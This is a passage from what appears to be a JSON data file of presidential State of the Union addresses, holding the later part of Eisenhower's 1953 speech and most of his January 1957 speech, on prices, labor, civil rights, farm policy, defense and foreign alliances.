character of our people resists artificial and arbitrary\ncontrols of any kind. Direct controls, except those on credit, deal not\nwith the real causes of inflation but only with its symptoms. In times of\nnational emergency, this kind of control has a role to play. Our whole\nsystem, however, is based upon the assumption that, normally, we should\ncombat wide fluctuations in our price structure by relying largely on the\neffective use of sound fiscal and monetary policy, and upon the natural\nworkings of economic law.Moreover, American labor and American business can best resolve their wage\nproblems across the bargaining table. Government should refrain from\nsitting in with them unless, in extreme cases, the public welfare requires\nprotection.We are, of course, living in an international situation that is neither an\nemergency demanding full mobilization, nor is it peace. No one can know how\nlong this condition will persist. Consequently, we are forced to learn many\nnew things as we go along-clinging to what works, discarding what does\nnot.In all our current discussions on these and related facts, the weight of\nevidence is clearly against the use of controls in their present forms.\nThey have proved largely unsatisfactory or unworkable. They have not\nprevented inflation; they have not kept down the cost of living.\nDissatisfaction with them is wholly justified. I am convinced that now--as\nwell as in the long run--free and competitive prices will best serve the\ninterests of all the people, and best meet the changing, growing needs of\nour economy.Accordingly, I do not intend to ask for a renewal of the present wage and\nprice controls on April 30, 1953, when present legislation expires. In the\nmeantime, steps will be taken to eliminate controls in an orderly manner,\nand to terminate special agencies no longer needed for this purpose. It is\nobviously to be expected that the removal of these controls will result in\nindividual price changes--some up, some down. But a maximum of freedom in\nmarket prices as well as in collective bargaining is characteristic of a\ntruly free people.I believe also that material and product controls should be ended, except\nwith respect to defense priorities and scarce and critical items essential\nfor our defense. I shall recommend to the Congress that legislation be\nenacted to continue authority for such remaining controls of this type as\nwill be necessary after the expiration of the existing statute on June 30,\n1953.I recommend the continuance of the authority for Federal control over rents\nin those communities in which serious housing shortages exist. These are\nchiefly the so-called defense areas. In these and all areas the Federal\nGovernment should withdraw from the control of rents as soon as\npracticable. But before they are removed entirely, each legislature should\nhave full opportunity to take over, within its own State, responsibility\nfor this function.It would be idle to pretend that all our problems in this whole field of\nprices will solve themselves by mere Federal withdrawal from direct\ncontrols.We shall have to watch trends closely. If the freer functioning of our\neconomic system, as well as the indirect controls which can be\nappropriately employed, prove insufficient during this period of strain and\ntension, I shall promptly ask the Congress to enact such legislation as may\nbe required.In facing all these problems--wages, prices, production, tax rates, fiscal\npolicy, deficits--everywhere we remain constantly mindful that the time for\nsacrifice has not ended. But we are concerned with the encouragement of\ncompetitive enterprise and individual initiative precisely because we know\nthem to be our Nation's abiding sources of strength.VI.Our vast world responsibility accents with urgency our people's elemental\nright to a government whose clear qualities are loyalty, security,\nefficiency, economy, and integrity.The safety of America and the trust of the people alike demand that the\npersonnel of the Federal Government be loyal in their motives and reliable\nin the discharge of their duties. Only a combination of both loyalty and\nreliability promises genuine security.To state this principle is easy; to apply it can be difficult. But this\nsecurity we must and shall have. By way of example, all principal new\nappointees to departments and agencies have been investigated at their own\nrequest by the Federal Bureau of Investigation.Confident of your understanding and cooperation, I know that the primary\nresponsibility for keeping out the disloyal and the dangerous rests\nsquarely upon the executive branch. When this branch so conducts itself as\nto require policing by another branch of the Government, it invites its own\ndisorder and confusion.I am determined to meet this responsibility of the Executive. The heads of\nall executive departments and agencies have been instructed to initiate at\nonce effective programs of security with respect to their personnel. The\nAttorney General will advise and guide the departments and agencies in the\nshaping of these programs, designed at once to govern the employment of new\npersonnel and to review speedily any derogatory information concerning\nincumbent personnel.To carry out these programs, I believe that the powers of the executive\nbranch under existing law are sufficient. If they should prove inadequate,\nthe necessary legislation will be requested.These programs will be both fair to the rights of the individual and\neffective for the safety of the Nation. They will, with care and justice,\napply the basic principle that public employment is not a right but a\nprivilege.All these measures have two clear purposes: Their first purpose is to make\ncertain that this Nation's security is not jeopardized by false servants.\nTheir second purpose is to clear the atmosphere of that unreasoned\nsuspicion that accepts rumor and gossip as substitutes for evidence.Our people, of course, deserve and demand of their Federal Government more\nthan security of personnel. They demand, also, efficient and logical\norganization, true to constitutional principles.I have already established a Committee on Government Organization. The\nCommittee is using as its point of departure the reports of the Hoover\nCommission and subsequent studies by several independent agencies. To\nachieve the greater efficiency and economy which the Committee analyses\nshow to be possible, I ask the Congress to extend the present Government\nReorganization Act for a period of 18 months or 2 years beyond its\nexpiration date of April 1, 1953.There is more involved here than realigning the wheels and smoothing the\ngears of administrative machinery. The Congress rightfully-expects the\nExecutive to take the initiative in discovering and removing outmoded\nfunctions and eliminating duplication.One agency, for example, whose head has promised early and vigorous action\nto provide greater efficiency is the Post Office. One of the oldest\ninstitutions of our Federal Government, its service should be of the best.\nIts employees should merit and receive the high regard and esteem of the\ncitizens of the Nation. There are today in some areas of the postal\nservice, both waste and incompetence to be corrected. With the cooperation\nof the Congress, and taking advantage of its accumulated experience in\npostal affairs, the Postmaster General will institute a program directed at\nimproving service while at the same time reducing costs and decreasing\ndeficits.In all departments, dedication to these basic precepts of security and\nefficiency, integrity, and economy can and will produce an administration\ndeserving of the trust the people have placed in it.Our people have demanded nothing less than good, efficient government. They\nshall get nothing less.VII.Vitally important are the water and minerals, public lands and standing\ntimber, forage and wild-life of this country. A fast-growing population will\nhave vast future needs in these resources. We must more than match the\nsubstantial achievements in the half-century since President Theodore\nRoosevelt awakened the Nation to the problem of conservation.This calls for a strong Federal program in the field of resource\ndevelopment. Its major projects should be timed, where possible to assist\nin leveling off peaks and valleys in our economic life. Soundly planned\nprojects already initiated should be carried out. New ones will be planned\nfor the future.The best natural resources program for America will not result from\nexclusive dependence on Federal bureaucracy. It will involve a partnership\nof the States and local communities, private citizens, and the Federal\nGovernment, all working together. This combined effort will advance the\ndevelopment of the great river valleys of our Nation and the power that\nthey can generate. Likewise, such a partnership can be effective in the\nexpansion throughout the Nation of upstream storage; the sound use of\npublic lands; the wise conservation of minerals; and the sustained yield of\nour forests.There has been much criticism, some of it apparently justified, of the\nconfusion resulting from overlapping Federal activities in the entire field\nof resource-conservation. This matter is being exhaustively studied and\nappropriate reorganization plans will be developed.Most of these particular resource problems pertain to the Department of the\nInterior. Another of its major concerns is our country's island\npossessions. Here, one matter deserves attention. The platforms of both\npolitical parties promised immediate statehood to Hawaii. The people of\nthat Territory have earned that status. Statehood should be granted\npromptly with the first election scheduled for 1954.VIII.One of the difficult problems which face the new administration is that of\nthe slow, irregular decline of farm prices. This decline, which has been\ngoing on for almost 2 years, has occurred at a time when most nonfarm\nprices and farm costs of production are extraordinarily high.Present agricultural legislation provides for the mandatory support of the\nprices of basic farm commodities at 90 percent of parity. The Secretary of\nAgriculture and his associates will, of course, execute the present act\nfaithfully and thereby seek to mitigate the consequences of the downturn in\nfarm income.This price-support legislation will expire at the end of 1954.So we should begin now to consider what farm legislation we should develop\nfor 1955 and beyond. Our aim should be economic stability and full parity\nof income for American farmers. But we must seek this goal in ways that\nminimize governmental interference in the farmers' affairs, that permit\ndesirable shifts in production, and that encourage farmers themselves to\nuse initiative in meeting changing economic conditions.A continuing study reveals nothing more emphatically than the complicated\nnature of this subject. Among other things, it shows that the prosperity of\nour agriculture depends directly upon the prosperity of the whole\ncountry--upon the purchasing power of American consumers. It depends also\nupon the opportunity to ship abroad large surpluses of particular\ncommodities, and therefore upon sound economic relationships between the\nUnited States and many foreign countries. It involves research and\nscientific investigation, conducted on an extensive scale. It involves\nspecial credit mechanisms and marketing, rural electrification, soil\nconservation, and other programs.The whole complex of agricultural programs and policies will be studied by\na Special Agricultural Advisory Commission, as I know it will by\nappropriate committees of the Congress. A nonpartisan group of respected\nauthorities in the field of agriculture has already been appointed as an\ninterim advisory group.The immediate changes needed in agricultural programs are largely budgetary\nand administrative in nature. New policies and new programs must await the\ncompletion of the far-reaching studies which have already been launched.IX.The determination of labor policy must be governed not by the vagaries of\npolitical expediency but by the firmest principles and convictions. Slanted\npartisan appeals to American workers, spoken as if they were a group apart,\nnecessitating a special language and treatment, are an affront to the\nfullness of their dignity as American citizens.The truth in matters of labor policy has become obscured in controversy.\nThe very meaning of economic freedom as it affects labor has become\nconfused. This misunderstanding has provided a climate of opinion favoring\nthe growth of governmental paternalism in labor relations. This tendency,\nif left uncorrected, could end only by producing a bureaucratic despotism.\nEconomic freedom is, in fact, the requisite of greater prosperity for every\nAmerican who earns his own living.In the field of labor legislation, only a law that merits the respect and\nsupport of both labor and management can help reduce the loss of wages and\nof production through strikes and stoppages, and thus add to the total\neconomic strength of our Nation.We have now had 5 years' experience with the Labor Management Act of 1947,\ncommonly known as the Taft-Hartley Act. That experience has shown the need\nfor some corrective action, and we should promptly proceed to amend that\nact.I know that the Congress is already proceeding with renewed studies of this\nsubject. Meanwhile, the Department of Labor is at once beginning work to\ndevise further specific recommendations for your consideration.In the careful working out of legislation, I know you will give thoughtful\nconsideration--as will we in the executive branch--to the views of labor,\nand of management, and of the general public. In this process, it is only\nhuman that each of us should bring forward the arguments of self-interest.\nBut if all conduct their arguments in the overpowering light of national\ninterest--which is enlightened self-interest--we shall get the right\nanswers. I profoundly hope that every citizen of our country will follow\nwith understanding your progress in this work. The welfare of all of us is\ninvolved.Especially must we remember that the institutions of trade unionism and\ncollective bargaining are monuments to the freedom that must prevail in our\nindustrial life. They have a century of honorable achievement behind them.\nOur faith in them is proven, firm, and final.Government can do a great deal to aid the settlement of labor disputes\nwithout allowing itself to be employed as an ally of either side. Its\nproper role in industrial strife is to encourage the processes of mediation\nand conciliation. These processes can successfully be directed only by a\ngovernment free from the taint of any suspicion that it is partial or\npunitive.The administration intends to strengthen and to improve the services which\nthe Department of Labor can render to the worker and to the whole national\ncommunity. This Department was created--just 40 years ago--to serve the\nentire Nation. It must aid, for example, employers and employees alike in\nimproving training programs that will develop skilled and competent\nworkers. It must enjoy the confidence and respect of labor and industry in\norder to play a significant role in the planning of America's economic\nfuture. To that end, I am authorizing the Department of Labor to establish\npromptly a tripartite advisory committee consisting of representatives of\nemployers, labor, and the public.X.Our civil and social rights form a central part of the heritage we are\nstriving to defend on all fronts and with all our strength. I believe with\nall my heart that our vigilant guarding of these rights is a sacred\nobligation binding upon every citizen. To be true to one's own freedom is,\nin essence, to honor and respect the freedom of all others.A cardinal ideal in this heritage we cherish is the equality of rights of\nall citizens of every race and color and creed.We know that discrimination against minorities persists despite our\nallegiance to this ideal. Such discrimination--confined to no one section\nof the Nation--is but the outward testimony to the persistence of distrust\nand of fear in the hearts of men.This fact makes all the more vital the fighting of these wrongs by each\nindividual, in every station of life, in his every deed.Much of the answer lies in the power of fact, fully publicized; of\npersuasion, honestly pressed; and of conscience, justly aroused. These are\nmethods familiar to our way of life, tested and proven wise.I propose to use whatever authority exists in the office of the President\nto end segregation in the District of Columbia, including the Federal\nGovernment, and any segregation in the Armed Forces.Here in the District of Columbia, serious attention should be given to the\nproposal to develop and authorize, through legislation, a system to provide\nan effective voice in local self-government. While consideration of this\nproceeds, I recommend an immediate increase of two in the number of\nDistrict Commissioners to broaden representation of all elements of our\nlocal population. This will be a first step toward insuring that this\nCapital provide an honored example to all communities of our Nation.In this manner, and by the leadership of the office of the President\nexercised through friendly conferences with those in authority in our\nStates and cities, we expect to make true and rapid progress in civil\nrights and equality of employment opportunity.There is one sphere in which civil rights are inevitably involved in\nFederal legislation. This is the sphere of immigration.It is a manifest right of our Government to limit the number of immigrants\nour Nation can absorb. It is also a manifest right of our Government to set\nreasonable requirements on the character and the numbers of the people who\ncome to share our land and our freedom.It is well for us, however, to remind ourselves occasionally of an equally\nmanifest fact: we are--one and all--immigrants or sons and daughters of\nimmigrants.Existing legislation contains injustices. It does, in fact, discriminate. I\nam informed by Members of the Congress that it was realized, at the time of\nits enactment, that future study of the basis of determining quotas would\nbe necessary.I am therefore requesting the Congress to review this legislation and to\nenact a statute that will at one and the same time guard our legitimate\nnational interests and be faithful to our basic ideas of freedom and\nfairness to all.In another but related area--that of social rights--we see most clearly the\nnew application of old ideas of freedom.This administration is profoundly aware of two great needs born of our\nliving in a complex industrial economy. First, the individual citizen must\nhave safeguards against personal disaster inflicted by forces beyond his\ncontrol; second, the welfare of the people demands effective and economical\nperformance by the Government of certain indispensable social services.In the light of this responsibility, certain general purposes and certain\nconcrete measures are plainly indicated now.There is urgent need for greater effectiveness in our programs, both public\nand private, offering safeguards against the privations that too often come\nwith unemployment, old age, illness, and accident. The provisions of the\nold-age and survivors insurance law should promptly be extended to cover\nmillions of citizens who have been left out of the social-security system.\nNo less important is the encouragement of privately sponsored pension\nplans. Most important of all, of course, is renewed effort to check the\ninflation which destroys so much of the value of all social-security\npayments.Our school system demands some prompt, effective help. During each of the\nlast 9 years, more than 1 1/2 million children have swelled the elementary\nand secondary school population of the country. Generally, the school\npopulation is proportionately higher in States with low per capita income.\nThis whole situation calls for careful congressional study and action. I am\nsure that you share my conviction that the firm conditions of Federal aid\nmust be proved need and proved lack of local income.One phase of the school problem demands special action. The school\npopulation of many districts has been greatly increased by the swift\ngrowth of defense activities. These activities have added little or nothing\nto the tax resources of the communities affected. Legislation aiding\nconstruction of schools in the districts expires on June 30. This law\nshould be renewed; and likewise, the partial payments for current operating\nexpenses for these particular school districts should be made, including\nthe deficiency requirement of the current fiscal year.Public interest similarly demands one prompt specific action in protection\nof the general consumer. The Food and Drug Administration should be\nauthorized to continue its established and necessary program of factory\ninspections. The invalidation of these inspections by the Supreme Court of\nDecember 8, 1952, was based solely on the fact that the present law\ncontained inconsistent and unclear provisions. These must be promptly\ncorrected.I am well aware that beyond these few immediate measures there remains much\nto be done. The health and housing needs of our people call for\nintelligently planned programs. Involved are the solvency of the whole\nsecurity system; and its guarding against exploitation by the\nirresponsible.To bring clear purpose and orderly procedure into this field, I anticipate\na thorough study of the proper relationship among Federal, State, and local\nprograms. I shall shortly send you specific recommendations for\nestablishing such an appropriate commission, together with a reorganization\nplan defining new administrative status for all Federal activities in\nhealth, education, and social security.I repeat that there are many important subjects of which I make no mention\ntoday. Among these is our great and growing body of veterans. America has\ntraditionally been generous in caring for the disabled--and the widow and\nthe orphan of the fallen. These millions remain close to all our hearts.\nProper care of our uniformed citizens and appreciation of the past service\nof our veterans are part of our accepted governmental responsibilities.XIWe have surveyed briefly some problems of our people and a portion of the\ntasks before us.The hope of freedom itself depends, in real measure, upon our strength, our\nheart, and our wisdom.We must be strong in arms. We must be strong in the source of all our\narmament, our productivity. We all--workers and farmers, foremen and\nfinanciers, technicians and builders--all must produce, produce more, and\nproduce yet more.We must be strong, above all, in the spiritual resources upon which all\nelse depends. We must be devoted with all our heart to the values we\ndefend. We must know that each of these values and virtues applies with\nequal force at the ends of the earth and in our relations with our neighbor\nnext door. We must know that freedom expresses itself with equal eloquence\nin the right of workers to strike in the nearby factory, and in the\nyearnings and sufferings of the peoples of Eastern Europe.As our heart summons our strength, our wisdom must direct it.There is, in world affairs, a steady course to be followed between an\nassertion of strength that is truculent and a confession of helplessness\nthat is cowardly.There is, in our affairs at home, a middle way between untrammeled freedom\nof the individual and the demands for the welfare of the whole Nation. This\nway must avoid government by bureaucracy as carefully as it avoids neglect\nof the helpless.In every area of political action, free men must think before they can\nexpect to win.In this spirit must we live and labor: confident of our strength,\ncompassionate in our heart, clear in our mind.In this spirit, let us together turn to the great tasks before us.", 
+    "name": "Dwight D. Eisenhower"
+}
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+{
+    "date": "January 10, 1957", 
+    "speech": "To the Congress of the United States:I appear before the Congress today to report on the State of the Union and\nthe relationships of the Union to the other nations of the world. I come\nhere, firmly convinced that at no time in the history of the Republic have\ncircumstances more emphatically underscored the need, in all echelons of\ngovernment, for vision and wisdom and resolution.You meet in a season of stress that is testing the fitness of political\nsystems and the validity of political philosophies. Each stress stems in\npart from causes peculiar to itself. But every stress is a reflection of a\nuniversal phenomenon.In the world today, the surging and understandable tide of nationalism is\nmarked by widespread revulsion and revolt against tyranny, injustice,\ninequality and poverty. As individuals, joined in a common hunger for\nfreedom, men and women and even children pit their spirit against guns and\ntanks. On a larger scale, in an ever more persistent search for the\nself-respect of authentic sovereignty and the economic base on which\nnational independence must rest, peoples sever old ties; seek new\nalliances; experiment--sometimes dangerously--in their struggle to satisfy\nthese human aspirations.Particularly, in the past year, this tide has changed the pattern of\nattitudes and thinking among millions. The changes already accomplished\nforeshadow a world transformed by the spirit of freedom. This is no faint\nand pious hope. The forces now at work in the minds and hearts of men will\nnot be spent through many years. In the main, today's expressions of\nnationalism are, in spirit, echoes of our forefathers' struggle for\nindependence.This Republic cannot be aloof to these events heralding a new epoch in the\naffairs of mankind.Our pledged word, our enlightened self-interest, our character as a Nation\ncommit us to a high role in world affairs: a role of vigorous leadership,\nready strength, sympathetic understanding.The State of the Union, at the opening of the 85th Congress continues to\nvindicate the wisdom of the principles on which this Republic is rounded.\nProclaimed in the Constitution of the Nation and in many of our historic\ndocuments, and rounded in devout religious convictions, these principles\nenunciate:A vigilant regard for human liberty.A wise concern for human welfare.A ceaseless effort for human progress.Fidelity to these principles, in our relations with other peoples, has won\nus new friendships and has increased our opportunity for service within the\nfamily of nations. The appeal of these principles is universal, lighting\nfires in the souls of men everywhere. We shall continue to uphold them,\nagainst those who deny them and in counselling with our friends.At home, the application of these principles to the complex problems of our\nnational life has brought us to an unprecedented peak in our economic\nprosperity and has exemplified in our way of life the enduring human values\nof mind and spirit.Through the past four years these principles have guided the legislative\nprograms submitted by the Administration to the Congress. As we attempt to\napply them to current events, domestic and foreign, we must take into\naccount the complex entity that is the United States of America; what\nendangers it; what can improve it.The visible structure is our American economy itself. After more than a\ncentury and a half of constant expansion, it is still rich in a wide\nvariety of natural resources. It is first among nations in its people's\nmastery of industrial skills. It is productive beyond our own needs of many\nfoodstuffs and industrial products. It is rewarding to all our citizens in\nopportunity to earn and to advance in self-realization and in\nself-expression. It is fortunate in its wealth of educational and cultural\nand religious centers. It is vigorously dynamic in the limitless initiative\nand willingness to venture that characterize free enterprise. It is\nproductive of a widely shared prosperity.Our economy is strong, expanding, and fundamentally sound. But in any\nrealistic appraisal, even the optimistic analyst will realize that in a\nprosperous period the principal threat to efficient functioning of a free\nenterprise system is inflation. We look back on four years of prosperous\nactivities during which prices, the cost of living, have been relatively\nstable--that is, inflation has been held in check. But it is clear that the\ndanger is always present, particularly if the government might become\nprofligate in its expenditures or private groups might ignore all the\npossible results on our economy of unwise struggles for immediate gain.This danger requires a firm resolution that the Federal Government shall\nutilize only a prudent share of the Nation's resources, that it shall live\nwithin its means, carefully measuring against need alternative proposals\nfor expenditures.Through the next four years, I shall continue to insist that the executive\ndepartments and agencies of Government search out additional ways to save\nmoney and manpower. I urge that the Congress be equally watchful in this\nmatter.We pledge the Government's share in guarding the integrity of the dollar.\nBut the Government's efforts cannot be the entire campaign against\ninflation, the thief that can rob the individual of the value of the\npension and social security he has earned during his productive life. For\nsuccess, Government's efforts must be paralleled by the attitudes and\nactions of individual citizens.I have often spoken of the purpose of this Administration to serve the\nnational interest of 170 million people. The national interest must take\nprecedence over temporary advantages which may be secured by particular\ngroups at the expense of all the people.In this regard I call on leaders in business and in labor to think well on\ntheir responsibility to the American people. With all elements of our\nsociety, they owe the Nation a vigilant guard against the inflationary\ntendencies that are always at work in a dynamic economy operating at\ntoday's high levels. They can powerfully help counteract or accentuate such\ntendencies by their wage and price policies.Business in its pricing policies should avoid unnecessary price increases\nespecially at a time like the present when demand in so many areas presses\nhard on short supplies. A reasonable profit is essential to the new\ninvestments that provide more jobs in an expanding economy. But business\nleaders must, in the national interest, studiously avoid those price rises\nthat are possible only because of vital or unusual needs of the whole\nnation.If our economy is to remain healthy, increases in wages and other labor\nbenefits, negotiated by labor and management, must be reasonably related to\nimprovements in productivity. Such increases are beneficial, for they\nprovide wage earners with greater purchasing power. Except where necessary\nto correct obvious injustices, wage increases that outrun productivity,\nhowever, are an inflationary factor. They make for higher prices for the\npublic generally and impose a particular hardship on those whose welfare\ndepends on the purchasing power of retirement income and savings. Wage\nnegotiations should also take cognizance of the right of the public\ngenerally to share in the benefits of improvements in technology.Freedom has been defined as the opportunity for self-discipline. This\ndefinition has a special application to the areas of wage and price policy\nin a free economy. Should we persistently fail to discipline ourselves,\neventually there will be increasing pressure on government to redress the\nfailure. By that process freedom will step by step disappear. No subject on\nthe domestic scene should more attract the concern of the friends of\nAmerican working men and women and of free business enterprise than the\nforces that threaten a steady depreciation of the value of our money.Concerning developments in another vital sector of our\neconomy--agriculture--I am gratified that the long slide in farm income has\nbeen halted and that further improvement is in prospect. This is heartening\nprogress. Three tools that we have developed--improved surplus disposal,\nimproved price support laws, and the soil bank--are working to reduce\nprice-depressing government stocks of farm products. Our concern for the\nwell-being of farm families demands that we constantly search for new ways\nby which they can share more fully in our unprecedented prosperity.\nLegislative recommendations in the field of agriculture are contained in\nthe Budget Message.Our soil, water, mineral, forest, fish, and wildlife resources are being\nconserved and improved more effectively. Their conservation and development\nare vital to the present and future strength of the Nation. But they must\nnot be the concern of the Federal Government alone. State and local\nentities, and private enterprise should be encouraged to participate in\nsuch projects.I would like to make special mention of programs for making the best uses\nof water, rapidly becoming our most precious natural resource, just as it\ncan be, when neglected, a destroyer of both life and wealth. There has been\nprepared and published a comprehensive water report developed by a Cabinet\nCommittee and relating to all phases of this particular problem.In the light of this report, there are two things I believe we should keep\nconstantly in mind. The first is that each of our great river valleys\nshould be considered as a whole. Piecemeal operations within each lesser\ndrainage area can be self-defeating or, at the very least, needlessly\nexpensive. The second is that the domestic and industrial demands for water\ngrow far more rapidly than does our population.The whole matter of making the best use of each drop of water from the\nmoment it touches our soil until it reaches the oceans, for such purposes\nas irrigation, flood control, power production, and domestic and industrial\nuses clearly demands the closest kind of cooperation and partnership\nbetween municipalities, States and the Federal Government. Through\npartnership of Federal, state and local authorities in these vast projects\nwe can obtain the economy and efficiency of development and operation that\nsprings from a lively sense of local responsibility.Until such partnership is established on a proper and logical basis of\nsharing authority, responsibility and costs, our country will never have\nboth the fully productive use of water that it so obviously needs and\nprotection against disastrous flood.If we fail in this, all the many tasks that need to be done in America\ncould be accomplished only at an excessive cost, by the growth of a\nstifling bureaucracy, and eventually with a dangerous degree of centralized\ncontrol over our national life.In all domestic matters, I believe that the people of the United States\nwill expect of us effective action to remedy past failure in meeting\ncritical needs.High priority should be given the school construction bill. This will\nbenefit children of all races throughout the country-and children of all\nraces need schools now. A program designed to meet emergency needs for more\nclassrooms should be enacted without delay. I am hopeful that this program\ncan be enacted on its own merits, uncomplicated by provisions dealing with\nthe complex problems of integration. I urge the people in all sections of\nthe country to approach these problems with calm and reason, with mutual\nunderstanding and good will, and in the American tradition of deep respect\nfor the orderly processes of law and justice.I should say here that we have much reason to be proud of the progress our\npeople are making in mutual understanding--the chief buttress of human and\ncivil rights. Steadily we are moving closer to the goal of fair and equal\ntreatment of citizens without regard to race or color. But unhappily much\nremains to be done.Last year the Administration recommended to the Congress a four-point\nprogram to reinforce civil rights. That program included:(1) creation of a bipartisan commission to investigate asserted violations\nof civil rights and to make recommendations;(2) creation of a civil rights division in the Department of Justice in\ncharge of an Assistant Attorney General;(3) enactment by the Congress of new laws to aid in the enforcement of\nvoting rights; and(4) amendment of the laws so as to permit the Federal Government to seek\nfrom the civil courts preventive relief in civil rights cases.I urge that the Congress enact this legislation.Essential to the stable economic growth we seek is a system of well-adapted\nand efficient financial institutions. I believe the time has come to\nconduct a broad national inquiry into the nature, performance and adequacy\nof our financial system, both in terms of its direct service to the whole\neconomy and in terms of its function as the mechanism through which\nmonetary and credit policy takes effect. I believe the Congress should\nauthorize the creation of a commission of able and qualified citizens to\nundertake this vital inquiry. Out of their findings and recommendations the\nAdministration would develop and present to the Congress any legislative\nproposals that might be indicated for the purpose of improving our\nfinancial machinery.In this message it seems unnecessary that I should repeat recommendations\ninvolving our domestic affairs that have been urged upon the Congress\nduring the past four years, but which, in some instances, did not reach the\nstage of completely satisfactory legislation.The Administration will, through future messages either directly from me or\nfrom heads of the departments and agencies, transmit to the Congress\nspecific recommendations. These will involve our financial and fiscal\naffairs, our military and civil defenses; the administration of justice;\nour agricultural economy; our domestic and foreign commerce; the urgently\nneeded increase in our postal rates; the development of our natural\nresources; our labor laws, including our labor-management relations\nlegislation, and vital aspects of the health, education and welfare of our\npeople. There will be special recommendations dealing with such subjects as\natomic energy, the furthering of public works, the continued efforts to\neliminate government competition with the businesses of tax-paying\ncitizens.A number of legislative recommendations will be mentioned specifically in\nmy forthcoming Budget Message, which will reach you within the week. That\nmessage will also recommend such sums as are needed to implement the\nproposed action.Turning to the international scene:The existence of a strongly armed imperialistic dictatorship poses a\ncontinuing threat to the free world's and thus to our own Nation's security\nand peace. There are certain truths to be remembered here.First, America alone and isolated cannot assure even its own security. We\nmust be joined by the capability and resolution of nations that have proved\nthemselves dependable defenders of freedom. Isolation from them invites\nwar. Our security is also enhanced by the immeasurable interest that joins\nus with all peoples who believe that peace with justice must be preserved,\nthat wars of aggression are crimes against humanity.Another truth is that our survival in today's world requires modern,\nadequate, dependable military strength. Our Nation has made great strides\nin assuring a modern defense, so armed in new weapons, so deployed, so\nequipped, that today our security force is the most powerful in our\npeacetime history. It can punish heavily any enemy who undertakes to attack\nus. It is a major deterrent to war.By our research and development more efficient weapons-some of amazing\ncapabilities--are being constantly created. These vital efforts we shall\ncontinue. Yet we must not delude ourselves that safety necessarily\nincreases as expenditures for military research or forces in being go up.\nIndeed, beyond a wise and reasonable level, which is always changing and is\nunder constant study, money spent on arms may be money wasted on sterile\nmetal or inflated costs, thereby weakening the very security and strength\nwe seek.National security requires far more than military power. Economic and moral\nfactors play indispensable roles. Any program that endangers our economy\ncould defeat us. Any weakening of our national will and resolution, any\ndiminution of the vigor and initiative of our individual citizens, would\nstrike a blow at the heart of our defenses.The finest military establishment we can produce must work closely in\ncooperation with the forces of our friends. Our system of regional pacts,\ndeveloped within the Charter of the United Nations, serves to increase both\nour own security and the security of other nations.This system is still a recent introduction on the world scene. Its problems\nare many and difficult, because it insists on equality among its members\nand brings into association some nations traditionally divided. Repeatedly\nin recent months, the collapse of these regional alliances has been\npredicted. The strains upon them have been at times indeed severe. Despite\nthese strains our regional alliances have proved durable and strong, and\ndire predictions of their disintegration have proved completely false.With other free nations, we should vigorously prosecute measures that will\npromote mutual strength, prosperity and welfare within the free world.\nStrength is essentially a product of economic health and social well-being.\nConsequently, even as we continue our programs of military assistance, we\nmust emphasize aid to our friends in building more productive economies and\nin better satisfying the natural demands of their people for progress.\nThereby we shall move a long way toward a peaceful world.A sound and safeguarded agreement for open skies, unarmed aerial sentinels,\nand reduced armament would provide a valuable contribution toward a durable\npeace in the years ahead. And we have been persistent in our effort to\nreach such an agreement. We are willing to enter any reliable agreement\nwhich would reverse the trend toward ever more devastating nuclear weapons;\nreciprocally provide against the possibility of surprise attack; mutually\ncontrol the outer space missile and satellite development; and make\nfeasible a lower level of armaments and armed forces and an easier burden\nof military expenditures. Our continuing negotiations in this field are a\nmajor part of our quest for a confident peace in this atomic age.This quest requires as well a constructive attitude among all the nations\nof the free world toward expansion of trade and investment, that can give\nall of us opportunity to work out economic betterment.An essential step in this field is the provision of an administrative\nagency to insure the orderly and proper operation of existing arrangements\ntrader which multilateral trade is now carried on. To that end I urge\nCongressional authorization for United States membership in the proposed\nOrganization for Trade Cooperation, an action which will speed removal of\ndiscrimination against our export trade.We welcome the efforts of a number of our European friends to achieve an\nintegrated community to develop a common market. We likewise welcome their\ncooperative effort in the field of atomic energy.To demonstrate once again our unalterable purpose to make of the atom a\npeaceful servant of humanity, I shortly shall ask the Congress to authorize\nfull United States participation in the International Atomic Energy\nAgency.World events have magnified both the responsibilities and the opportunities\nof the United States Information Agency. Just as, in recent months, the\nvoice of communism has become more shaken and confused, the voice of truth\nmust be more clearly heard. To enable our Information Agency to cope with\nthese new responsibilities and opportunities, I am asking the Congress to\nincrease appreciably the appropriations for this program and for\nlegislation establishing a career service for the Agency's overseas foreign\nservice officers.The recent historic events in Hungary demand that all free nations share to\nthe extent of their capabilities in the responsibility of granting asylum\nto victims of Communist persecution. I request the Congress promptly to\nenact legislation to regularize the status in the United States of\nHungarian refugees brought here as parolees. I shall shortly recommend to\nthe Congress by special message the changes in our immigration laws that I\ndeem necessary in the light of our world responsibilities.The cost of peace is something we must face boldly, fearlessly. Beyond\nmoney, it involves changes in attitudes, the renunciation of old\nprejudices, even the sacrifice of some seeming self-interest.Only five days ago I expressed to you the grave concern of your Government\nover the threat of Soviet aggression in the Middle East. I asked for\nCongressional authorization to help counter this threat. I say again that\nthis matter is of vital and immediate importance to the Nation's and the\nfree world's security and peace. By our proposed programs in the Middle\nEast, we hope to assist in establishing a climate in which constructive and\nlong-term solutions to basic problems of the area may be sought.From time to time, there will be presented to the Congress requests for\nother legislation in the broad field of international affairs. All requests\nwill reflect the steadfast purpose of this Administration to pursue peace,\nbased on justice. Although in some cases details will be new, the\nunderlying purpose and objectives will remain the same.All proposals made by the Administration in this field are based on the\nfree world's unity. This unity may not be immediately obvious unless we\nexamine link by link the chain of relationships that binds us to every area\nand to every nation. In spirit the free world is one because its people\nuphold the right of independent existence for all nations. I have already\nalluded to their economic interdependence. But their interdependence\nextends also into the field of security.First of all, no reasonable man will question the absolute need for our\nAmerican neighbors to be prosperous and secure. Their security and\nprosperity are inextricably bound to our own. And we are, of course,\nalready joined with these neighbors by historic pledges.Again, no reasonable man will deny that the freedom and prosperity and\nsecurity of Western Europe are vital to our own prosperity and security. If\nthe institutions, the skills, the manpower of its peoples were to fall\nunder the domination of an aggressive imperialism, the violent change in\nthe balance of world power and in the pattern of world commerce could not\nbe fully compensated for by any American measures, military or economic.But these people, whose economic strength is largely dependent on free and\nuninterrupted movement of oil from the Middle East, cannot prosper--indeed,\ntheir economies would be severely impaired--should that area be controlled\nby an enemy and the movement of oil be subject to its decisions.Next, to the Eastward, are Asiatic and Far Eastern peoples, recently\nreturned to independent control of their own affairs or now emerging into\nsovereign statehood. Their potential strength constitutes new assurance for\nstability and peace in the world--if they can retain their independence.\nShould they lose freedom and be dominated by an aggressor, the world-wide\neffects would imperil the security of the free world.In short, the world has so shrunk that all free nations are our 